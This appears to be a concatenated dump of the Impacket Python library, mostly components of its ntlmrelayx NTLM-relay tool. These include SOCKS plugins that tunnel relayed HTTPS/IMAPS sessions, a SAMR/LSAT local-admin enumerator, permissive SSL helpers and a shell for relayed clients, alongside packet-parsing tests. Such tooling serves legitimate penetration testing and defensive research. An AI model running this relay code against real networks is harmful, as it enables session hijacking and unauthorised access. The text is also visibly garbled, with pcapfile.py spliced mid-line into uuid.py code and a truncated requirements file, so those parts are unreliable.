TLS/SSL') 40 | self.wrapClientConnection() 41 | if not HTTPSocksRelay.skipAuthentication(self): 42 | # Shut down TLS connection 43 | self.socksSocket.shutdown() 44 | return False 45 | return True 46 | 47 | def tunnelConnection(self): 48 | while True: 49 | try: 50 | data = self.socksSocket.recv(self.packetSize) 51 | except SSL.ZeroReturnError: 52 | # The SSL connection was closed, return 53 | return 54 | # Pass the request to the server 55 | tosend = self.prepareRequest(data) 56 | self.relaySocket.send(tosend) 57 | # Send the response back to the client 58 | self.transferResponse() 59 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/servers/socksplugins/imaps.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # Socks Proxy for the IMAPS Protocol 11 | # 12 | # A simple SOCKS server that proxies a connection to relayed IMAPS connections 13 | # 14 | # Author: 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # 17 | from impacket import LOG 18 | from impacket.examples.ntlmrelayx.servers.socksplugins.imap import IMAPSocksRelay 19 | from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin 20 | from OpenSSL import SSL 21 | 22 | # Besides using this base class you need to define one global variable when 23 | # writing a plugin: 24 | PLUGIN_CLASS = "IMAPSSocksRelay" 25 | EOL = '\r\n' 26 | 27 | class IMAPSSocksRelay(SSLServerMixin, IMAPSocksRelay): 28 | PLUGIN_NAME = 'IMAPS Socks Plugin' 29 | PLUGIN_SCHEME = 'IMAPS' 30 | 31 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 32 | IMAPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 33 | 34 | @staticmethod 35 | def getProtocolPort(): 36 | return 993 37 | 38 | def skipAuthentication(self): 39 | LOG.debug('Wrapping IMAP client connection in TLS/SSL') 40 | self.wrapClientConnection() 41 | try: 42 | if not IMAPSocksRelay.skipAuthentication(self): 43 | # Shut down TLS connection 44 | self.socksSocket.shutdown() 45 | return False 46 | except Exception as e: 47 | LOG.debug('IMAPS: %s' % str(e)) 48 | return False 49 | # Change our outgoing socket to the SSL object of IMAP4_SSL 50 | self.relaySocket = self.session.sslobj 51 | return True 52 | 53 | def tunnelConnection(self): 54 | keyword = '' 55 | tag = '' 56 | while True: 57 | try: 58 | data = self.socksSocket.recv(self.packetSize) 59 | except SSL.ZeroReturnError: 60 | # The SSL connection was closed, return 61 | break 62 | # Set the new keyword, unless it is false, then break out of the function 63 | result = self.processTunnelData(keyword, tag, data) 64 | if result is False: 65 | break 66 | # If its not false, it's a tuple with the keyword and tag 67 | keyword, tag = result 68 | 69 | if tag != '': 70 | # Store the tag in the session so we can continue 71 | tag = int(tag) 72 | if self.idleState is True: 73 | self.relaySocket.sendall('DONE%s' % EOL) 74 | self.relaySocketFile.readline() 75 | 76 | if self.shouldClose: 77 | tag += 1 78 | self.relaySocket.sendall('%s CLOSE%s' % (tag, EOL)) 79 | self.relaySocketFile.readline() 80 | 81 | self.session.tagnum = tag + 1 82 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/utils/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/utils/enum.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # Config utilities 11 | # 12 | # Helpful enum methods for discovering local admins through SAMR and LSAT 13 | # 14 | # Author: 15 | # Ronnie Flathers / @ropnop 16 | # 17 | from impacket.dcerpc.v5 import transport, lsat, samr, lsad 18 | from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED 19 | 20 | 21 | class EnumLocalAdmins: 22 | def __init__(self, smbConnection): 23 | self.__smbConnection = smbConnection 24 | self.__samrBinding = r'ncacn_np:445[\pipe\samr]' 25 | self.__lsaBinding = r'ncacn_np:445[\pipe\lsarpc]' 26 | 27 | def __getDceBinding(self, strBinding): 28 | rpc = transport.DCERPCTransportFactory(strBinding) 29 | rpc.set_smb_connection(self.__smbConnection) 30 | return rpc.get_dce_rpc() 31 | 32 | def getLocalAdmins(self): 33 | adminSids = self.__getLocalAdminSids() 34 | adminNames = self.__resolveSids(adminSids) 35 | return adminSids, adminNames 36 | 37 | def __getLocalAdminSids(self): 38 | dce = self.__getDceBinding(self.__samrBinding) 39 | dce.connect() 40 | dce.bind(samr.MSRPC_UUID_SAMR) 41 | resp = samr.hSamrConnect(dce) 42 | serverHandle = resp['ServerHandle'] 43 | 44 | resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, 'Builtin') 45 | resp = samr.hSamrOpenDomain(dce, serverHandle=serverHandle, domainId=resp['DomainId']) 46 | domainHandle = resp['DomainHandle'] 47 | resp = samr.hSamrOpenAlias(dce, domainHandle, desiredAccess=MAXIMUM_ALLOWED, aliasId=544) 48 | resp = samr.hSamrGetMembersInAlias(dce, resp['AliasHandle']) 49 | memberSids = [] 50 | for member in resp['Members']['Sids']: 51 | memberSids.append(member['SidPointer'].formatCanonical()) 52 | dce.disconnect() 53 | return memberSids 54 | 55 | def __resolveSids(self, sids): 56 | dce = self.__getDceBinding(self.__lsaBinding) 57 | dce.connect() 58 | dce.bind(lsat.MSRPC_UUID_LSAT) 59 | resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) 60 | policyHandle = resp['PolicyHandle'] 61 | resp = lsat.hLsarLookupSids(dce, policyHandle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) 62 | names = [] 63 | for n, item in enumerate(resp['TranslatedNames']['Names']): 64 | names.append("{}\\{}".format(resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'])) 65 | dce.disconnect() 66 | return names 67 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/utils/ssl.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # SSL utilities 11 | # 12 | # Various functions and classes for SSL support: 13 | # - generating certificates 14 | # - creating SSL capable SOCKS protocols 15 | # 16 | # Most of the SSL generation example code comes from the pyopenssl examples 17 | # https://github.com/pyca/pyopenssl/blob/master/examples/certgen.py 18 | # 19 | # Made available under the Apache license by the pyopenssl team 20 | # See https://github.com/pyca/pyopenssl/blob/master/LICENSE 21 | # 22 | # Author: 23 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 24 | # 25 | from OpenSSL import crypto, SSL 26 | from impacket import LOG 27 | 28 | # This certificate is not supposed to be exposed on the network 29 | # but only used for the local SOCKS plugins 30 | # therefore, for now we don't bother with a CA and with hosts/hostnames matching 31 | def generateImpacketCert(certname='/tmp/impacket.crt'): 32 | # Create a private key 33 | pkey = crypto.PKey() 34 | pkey.generate_key(crypto.TYPE_RSA, 2048) 35 | 36 | # Create the certificate 37 | cert = crypto.X509() 38 | cert.gmtime_adj_notBefore(0) 39 | # Valid for 5 years 40 | cert.gmtime_adj_notAfter(60*60*24*365*5) 41 | subj = cert.get_subject() 42 | subj.CN = 'impacket' 43 | cert.set_pubkey(pkey) 44 | cert.sign(pkey, "sha256") 45 | # We write both from the same file 46 | with open(certname, 'w') as certfile: 47 | certfile.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, pkey).decode('utf-8')) 48 | certfile.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('utf-8')) 49 | LOG.debug('Wrote certificate to %s' % certname) 50 | 51 | # Class to wrap the client socket in SSL when serving as a SOCKS server 52 | class SSLServerMixin(object): 53 | # This function will wrap the socksSocket in an SSL layer 54 | def wrapClientConnection(self, cert='/tmp/impacket.crt'): 55 | # Create a context, we don't really care about the SSL/TLS 56 | # versions used since it is only intended for local use and thus 57 | # doesn't have to be super-secure 58 | ctx = SSL.Context(SSL.TLS_METHOD) 59 | ctx.set_cipher_list('ALL:@SECLEVEL=0'.encode('utf-8')) 60 | try: 61 | ctx.use_privatekey_file(cert) 62 | ctx.use_certificate_file(cert) 63 | except SSL.Error: 64 | LOG.info('SSL requested - generating self-signed certificate in /tmp/impacket.crt') 65 | generateImpacketCert(cert) 66 | ctx.use_privatekey_file(cert) 67 | ctx.use_certificate_file(cert) 68 | 69 | sslSocket = SSL.Connection(ctx, self.socksSocket) 70 | sslSocket.set_accept_state() 71 | 72 | # Now set this property back to the SSL socket instead of the regular one 73 | self.socksSocket = sslSocket 74 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/utils/tcpshell.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # TCP interactive shell 11 | # 12 | # Launches a TCP shell for interactive use of clients 13 | # after successful relaying 14 | # 15 | # Author: 16 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 17 | # 18 | import socket 19 | #Default listen port 20 | port = 11000 21 | class TcpShell: 22 | def __init__(self): 23 | global port 24 | self.port = port 25 | #Increase the default port for the next attack 26 | port += 1 27 | 28 | def listen(self): 29 | #Set up the listening socket 30 | serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 31 | #Bind on localhost 32 | serversocket.bind(('127.0.0.1', self.port)) 33 | #Don't allow a backlog 34 | serversocket.listen(0) 35 | self.connection, host = serversocket.accept() 36 | #Create file objects from the socket 37 | self.stdin = self.connection.makefile("r") 38 | self.stdout = self.connection.makefile("w") 39 | 40 | def close(self): 41 | self.stdout.close() 42 | self.stdin.close() 43 | self.connection.close() 44 | -------------------------------------------------------------------------------- /impacket/examples/utils.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # Utility and helper functions for the example scripts 11 | # 12 | # Author: 13 | # Martin Gallo (@martingalloar) 14 | # 15 | import re 16 | 17 | 18 | # Regular expression to parse target information 19 | target_regex = re.compile(r"(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)") 20 | 21 | 22 | # Regular expression to parse credentials information 23 | credential_regex = re.compile(r"(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?") 24 | 25 | 26 | def parse_target(target): 27 | """ Helper function to parse target information. The expected format is: 28 | 29 | <:PASSWORD>@HOSTNAME 30 | 31 | :param target: target to parse 32 | :type target: string 33 | 34 | :return: tuple of domain, username, password and remote name or IP address 35 | :rtype: (string, string, string, string) 36 | """ 37 | domain, username, password, remote_name = target_regex.match(target).groups('') 38 | 39 | # In case the password contains '@' 40 | if '@' in remote_name: 41 | password = password + '@' + remote_name.rpartition('@')[0] 42 | remote_name = remote_name.rpartition('@')[2] 43 | 44 | return domain, username, password, remote_name 45 | 46 | 47 | def parse_credentials(credentials): 48 | """ Helper function to parse credentials information. The expected format is: 49 | 50 | <:PASSWORD> 51 | 52 | :param credentials: credentials to parse 53 | :type credentials: string 54 | 55 | :return: tuple of domain, username and password 56 | :rtype: (string, string, string) 57 | """ 58 | domain, username, password = credential_regex.match(credentials).groups('') 59 | 60 | return domain, username, password 61 | -------------------------------------------------------------------------------- /impacket/krb5/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /impacket/ldap/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | pass 11 | -------------------------------------------------------------------------------- /impacket/pcapfile.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | 10 | from impacket import structure 11 | 12 | O_ETH = 0 13 | O_IP = 1 14 | O_ARP = 1 15 | O_UDP = 2 16 | O_TCP = 2 17 | O_ICMP = 2 18 | O_UDP_DATA = 3 19 | O_ICMP_DATA = 3 20 | 21 | MAGIC = '"\xD4\xC3\xB2\xA1' 22 | 23 | class PCapFileHeader(structure.Structure): 24 | structure = ( 25 | ('magic', MAGIC), 26 | ('versionMajor', 'HHL', uuid[8:16]) 37 | return '%08X-%04X-%04X-%04X-%04X%08X' % (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) 38 | 39 | 40 | def string_to_bin(uuid): 41 | # If a UUID in the 00000000000000000000000000000000 format, let's return bytes as is 42 | if '-' not in uuid: 43 | return binascii.unhexlify(uuid) 44 | 45 | # If a UUID in the 00000000-0000-0000-0000-000000000000 format, parse it as Variant 2 UUID 46 | # The first three components of the UUID are little-endian, and the last two are big-endian 47 | matches = re.match(r"([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})", 48 | uuid) 49 | (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) = [int(x, 16) for x in matches.groups()] 50 | uuid = pack('HHL', uuid4, uuid5, uuid6) 52 | return uuid 53 | 54 | 55 | def stringver_to_bin(s): 56 | (maj, min) = s.split('.') 57 | return pack('=0.2.3 5 | pycryptodomex 6 | pyOpenSSL>=21.0.0 7 | ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6 8 | ldapdomaindump>=0.9.0 9 | flask>=1.0 10 | pyreadline;sys_platform == 'win32' 11 | dsinternals 12 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Setup file 12 | # 13 | import glob 14 | import os 15 | import platform 16 | 17 | from setuptools import setup 18 | from subprocess import * 19 | 20 | PACKAGE_NAME = "impacket" 21 | 22 | VER_MAJOR = 0 23 | VER_MINOR = 10 24 | VER_MAINT = 1 25 | VER_PREREL = "dev1" 26 | try: 27 | if call(["git", "branch"], stderr=STDOUT, stdout=open(os.devnull, 'w')) == 0: 28 | p = Popen("git log -1 --format=%cd --date=format:%Y%m%d.%H%M%S", shell=True, stdin=PIPE, stderr=PIPE, stdout=PIPE) 29 | (outstr, __) = p.communicate() 30 | (VER_CDATE,VER_CTIME) = outstr.strip().decode("utf-8").split('.') 31 | 32 | p = Popen("git rev-parse --short HEAD", shell=True, stdin=PIPE, stderr=PIPE, stdout=PIPE) 33 | (outstr, __) = p.communicate() 34 | VER_CHASH = outstr.strip().decode("utf-8") 35 | 36 | VER_LOCAL = "+{}.{}.{}".format(VER_CDATE, VER_CTIME, VER_CHASH) 37 | else: 38 | VER_LOCAL = "" 39 | except Exception: 40 | VER_LOCAL = "" 41 | 42 | if platform.system() != 'Darwin': 43 | data_files = [(os.path.join('share', 'doc', PACKAGE_NAME), ['README.md', 'LICENSE']+glob.glob('doc/*'))] 44 | else: 45 | data_files = [] 46 | 47 | 48 | def read(fname): 49 | return open(os.path.join(os.path.dirname(__file__), fname)).read() 50 | 51 | 52 | setup( 53 | name=PACKAGE_NAME, 54 | version="{}.{}.{}.{}{}".format(VER_MAJOR, VER_MINOR, VER_MAINT, VER_PREREL, VER_LOCAL), 55 | description="Network protocols Constructors and Dissectors", 56 | url="https://www.secureauth.com/labs/open-source-tools/impacket", 57 | author="SecureAuth Corporation", 58 | author_email="oss@secureauth.com", 59 | maintainer="SecureAuth's Innovation Labs ", 60 | maintainer_email="oss@secureauth.com", 61 | license="Apache modified", 62 | long_description=read('README.md'), 63 | long_description_content_type="text/markdown", 64 | platforms=["Unix", "Windows"], 65 | packages=['impacket', 'impacket.dcerpc', 'impacket.examples', 'impacket.dcerpc.v5', 'impacket.dcerpc.v5.dcom', 66 | 'impacket.krb5', 'impacket.ldap', 'impacket.examples.ntlmrelayx', 67 | 'impacket.examples.ntlmrelayx.clients', 'impacket.examples.ntlmrelayx.servers', 68 | 'impacket.examples.ntlmrelayx.servers.socksplugins', 'impacket.examples.ntlmrelayx.utils', 69 | 'impacket.examples.ntlmrelayx.attacks', 'impacket.examples.ntlmrelayx.attacks.httpattacks'], 70 | scripts=glob.glob(os.path.join('examples', '*.py')), 71 | data_files=data_files, 72 | install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=21.0.0', 'six', 'ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6', 73 | 'ldapdomaindump>=0.9.0', 'flask>=1.0', 'future', 'charset_normalizer', 'dsinternals'], 74 | extras_require={'pyreadline:sys_platform=="win32"': [], 75 | }, 76 | classifiers=[ 77 | "Programming Language :: Python :: 3.9", 78 | "Programming Language :: Python :: 3.8", 79 | "Programming Language :: Python :: 3.7", 80 | "Programming Language :: Python :: 3.6", 81 | ] 82 | ) 83 | -------------------------------------------------------------------------------- /tests/ImpactPacket/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | -------------------------------------------------------------------------------- /tests/ImpactPacket/test_IP6.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | import unittest 11 | from impacket import IP6, ImpactDecoder 12 | 13 | 14 | class TestIP6(unittest.TestCase): 15 | 16 | def setUp(self): 17 | #Version 6, traffic class 72, flow label 148997, payload length 1500 18 | #next header 17 (UDP), hop limit 1 19 | #source addr FE80::78F8:89D1:30FF:256B 20 | #dest addr FF02::1:3 21 | self.binary_packet = [ 22 | 0x64, 0x82, 0x46, 0x05, 23 | 0x05, 0xdc, 0x11, 0x01, 24 | 0xfe, 0x80, 0x00, 0x00, 25 | 0x00, 0x00, 0x00, 0x00, 26 | 0x78, 0xf8, 0x89, 0xd1, 27 | 0x30, 0xff, 0x25, 0x6b, 28 | 0xff, 0x02, 0x00, 0x00, 29 | 0x00, 0x00, 0x00, 0x00, 30 | 0x00, 0x00, 0x00, 0x00, 31 | 0x00, 0x01, 0x00, 0x03] 32 | 33 | def test_decoding(self): 34 | '''Test IP6 Packet decoding.''' 35 | 36 | 37 | d = ImpactDecoder.IP6Decoder() 38 | parsed_packet = d.decode(self.binary_packet) 39 | 40 | protocol_version = parsed_packet.get_ip_v() 41 | traffic_class = parsed_packet.get_traffic_class() 42 | flow_label = parsed_packet.get_flow_label() 43 | payload_length = parsed_packet.get_payload_length() 44 | next_header = parsed_packet.get_next_header() 45 | hop_limit = parsed_packet.get_hop_limit() 46 | source_address = parsed_packet.get_ip_src() 47 | destination_address = parsed_packet.get_ip_dst() 48 | 49 | self.assertEqual(protocol_version, 6, "IP6 parsing - Incorrect protocol version") 50 | self.assertEqual(traffic_class, 72, "IP6 parsing - Incorrect traffic class") 51 | self.assertEqual(flow_label, 148997, "IP6 parsing - Incorrect flow label") 52 | self.assertEqual(payload_length, 1500, "IP6 parsing - Incorrect payload length") 53 | self.assertEqual(next_header, 17, "IP6 parsing - Incorrect next header") 54 | self.assertEqual(hop_limit, 1, "IP6 parsing - Incorrect hop limit") 55 | self.assertEqual(source_address.as_string(), "FE80::78F8:89D1:30FF:256B", "IP6 parsing - Incorrect source address") 56 | self.assertEqual(destination_address.as_string(), "FF02::1:3", "IP6 parsing - Incorrect destination address") 57 | 58 | def test_creation(self): 59 | '''Test IP6 Packet creation.''' 60 | 61 | crafted_packet = IP6.IP6() 62 | crafted_packet.set_traffic_class(72) 63 | crafted_packet.set_flow_label(148997) 64 | crafted_packet.set_payload_length(1500) 65 | crafted_packet.set_next_header(17) 66 | crafted_packet.set_hop_limit(1) 67 | crafted_packet.set_ip_src("FE80::78F8:89D1:30FF:256B") 68 | crafted_packet.set_ip_dst("FF02::1:3") 69 | crafted_buffer = crafted_packet.get_bytes().tolist() 70 | self.assertEqual(crafted_buffer, self.binary_packet, "IP6 creation - Buffer mismatch") 71 | 72 | 73 | if __name__ == '__main__': 74 | unittest.main(verbosity=1) 75 | -------------------------------------------------------------------------------- /tests/ImpactPacket/test_TCP_bug_issue7.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | import unittest 11 | from threading import Thread 12 | from impacket.ImpactPacket import TCP, ImpactPacketException 13 | 14 | 15 | class TestTCP(unittest.TestCase): 16 | 17 | def setUp(self): 18 | # Dummy TCP header with "Maximum Segment Size" Option and zero length 19 | self.frame = '\x12\x34\x00\x50\x00\x00\x00\x01\x00\x00\x00\x00\x60\x00\x00\x00\x8d\x5c\x00\x00\x02\x00\x00\x00' 20 | 21 | def test_01(self): 22 | 'Test TCP options parsing hangs' 23 | class it_hangs(Thread): 24 | def __init__(self): 25 | Thread.__init__(self) 26 | def run(self): 27 | try: 28 | frame = '\x12\x34\x00\x50\x00\x00\x00\x01\x00\x00\x00\x00' \ 29 | '\x60\x00\x00\x00\x8d\x5c\x00\x00\x02\x00\x00\x00' 30 | TCP(frame) 31 | except ImpactPacketException as e: 32 | if str(e) != "'TCP Option length is too low'": 33 | raise e 34 | except Exception: 35 | pass 36 | 37 | thread_hangs = it_hangs() 38 | thread_hangs.daemon = True 39 | thread_hangs.start() 40 | 41 | thread_hangs.join(1.0) # 1 seconds timeout 42 | self.assertEqual(thread_hangs.is_alive(), False) 43 | 44 | 45 | if __name__ == '__main__': 46 | unittest.main(verbosity=1) 47 | -------------------------------------------------------------------------------- /tests/ImpactPacket/test_ethernet.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | import unittest 11 | from array import array 12 | from impacket.ImpactPacket import Ethernet, EthernetTag 13 | 14 | 15 | class TestEthernet(unittest.TestCase): 16 | 17 | def setUp(self): 18 | # Ethernet frame with a 802.1Q tag (TPID=0x8100, PCP=5, DEI=0, VID=3315) 19 | # and ethertype 0x0800 (IPv4) 20 | self.frame = b'\x54\xab\xa3\xb9\x38\x3d\xe2\xef\x8d\xc7\xa8\x5e\x81\x00\xac\xf3\x08\x00' 21 | self.eth = Ethernet(self.frame) 22 | 23 | def test_01(self): 24 | """Test Ethernet getters""" 25 | self.assertEqual(self.eth.get_packet(), self.frame) 26 | self.assertEqual(self.eth.get_header_size(), 18) 27 | self.assertEqual(self.eth.get_ether_type(), 0x0800) 28 | 29 | # Check source and destination MACs 30 | self.assertEqual(self.eth.get_ether_dhost(), array('B', self.frame[0:6])) 31 | self.assertEqual(self.eth.get_ether_shost(), array('B', self.frame[6:12])) 32 | 33 | def test_02(self): 34 | """Test Ethernet setters""" 35 | self.eth.set_ether_type(0x88cc) 36 | self.assertEqual(self.eth.get_ether_type(), 0x88cc) 37 | 38 | # Swap source and destination MACs 39 | dhost = self.eth.get_ether_dhost() 40 | shost = self.eth.get_ether_shost() 41 | self.eth.set_ether_dhost(shost) 42 | self.eth.set_ether_shost(dhost) 43 | self.assertEqual(self.eth.get_ether_dhost(), array('B', self.frame[6:12])) 44 | self.assertEqual(self.eth.get_ether_shost(), array('B', self.frame[0:6])) 45 | 46 | def test_03(self): 47 | """Test EthernetTag getters""" 48 | tag = self.eth.pop_tag() 49 | self.assertEqual(tag.get_buffer_as_string(),b'\x81\x00\xac\xf3') 50 | self.assertEqual(tag.get_tpid(), 0x8100) 51 | self.assertEqual(tag.get_pcp(), 5) 52 | self.assertEqual(tag.get_dei(), 0) 53 | self.assertEqual(tag.get_vid(), 3315) 54 | 55 | def test_04(self): 56 | """Test EthernetTag setters""" 57 | tag = self.eth.pop_tag() 58 | tag.set_tpid(0x88a8) 59 | tag.set_pcp(2) 60 | tag.set_dei(1) 61 | tag.set_vid(876) 62 | self.assertEqual(tag.get_buffer_as_string(), b'\x88\xa8\x53\x6c') 63 | 64 | def test_05(self): 65 | """Test manipulation with VLAN tags""" 66 | def check_tags(*tags): 67 | self.assertEqual(self.eth.tag_cnt, len(tags)) 68 | self.assertEqual(self.eth.get_header_size(), 14 + 4*len(tags)) 69 | self.assertEqual(self.eth.get_ether_type(), 0x0800) 70 | for i,tag in enumerate(tags): 71 | self.assertEqual(self.eth.get_tag(i).get_buffer_as_string(), tag) 72 | 73 | # Add S-tag (outer tag, closest to the Ethernet header) 74 | self.eth.push_tag(EthernetTag(0x88a85001)) 75 | check_tags(b'\x88\xa8\x50\x01', b'\x81\x00\xac\xf3') 76 | 77 | # Set C-tag (inner tag, closest to the payload) to default 78 | self.eth.set_tag(1, EthernetTag()) 79 | check_tags(b'\x88\xa8\x50\x01', b'\x81\x00\x00\x00') 80 | 81 | # Insert a deprecated 802.1QinQ header between S-tag and C-tag 82 | self.eth.push_tag(EthernetTag(0x910054d2), index=1) 83 | check_tags(b'\x88\xa8\x50\x01', b'\x91\x00\x54\xd2', b'\x81\x00\x00\x00') 84 | 85 | # Test negative indices 86 | tags = {} 87 | for i in range(-3,3): 88 | tags[i] = self.eth.get_tag(i).get_buffer_as_string() 89 | 90 | self.assertEqual(tags[-1], tags[2]) 91 | self.assertEqual(tags[-2], tags[1]) 92 | self.assertEqual(tags[-3], tags[0]) 93 | 94 | # Accessing non-existent tags raises IndexError 95 | self.assertRaises(IndexError, self.eth.get_tag, 3) 96 | self.assertRaises(IndexError, self.eth.get_tag, -4) 97 | self.assertRaises(IndexError, self.eth.set_tag, 3, EthernetTag()) 98 | self.assertRaises(IndexError, self.eth.set_tag, -4, EthernetTag()) 99 | 100 | # Test Ethernet constructor 101 | data = self.eth.get_buffer_as_string() 102 | eth_copy = Ethernet(data) 103 | self.assertEqual(eth_copy.tag_cnt, 3) 104 | self.assertEqual(eth_copy.get_header_size(), 26) 105 | self.assertEqual(eth_copy.get_ether_type(), 0x0800) 106 | 107 | # Remove the deprecated 802.1QinQ header and check resulting frame 108 | eth_copy.pop_tag(1) 109 | self.assertEqual(eth_copy.tag_cnt, 2) 110 | self.assertEqual(eth_copy.get_packet(), self.frame[:12] + tags[0] + tags[2] + self.frame[-2:]) 111 | 112 | 113 | if __name__ == '__main__': 114 | unittest.main(verbosity=1) 115 | -------------------------------------------------------------------------------- /tests/SMB_RPC/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | -------------------------------------------------------------------------------- /tests/SMB_RPC/test_nmb.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | import pytest 10 | import unittest 11 | from tests import RemoteTestCase 12 | 13 | from impacket 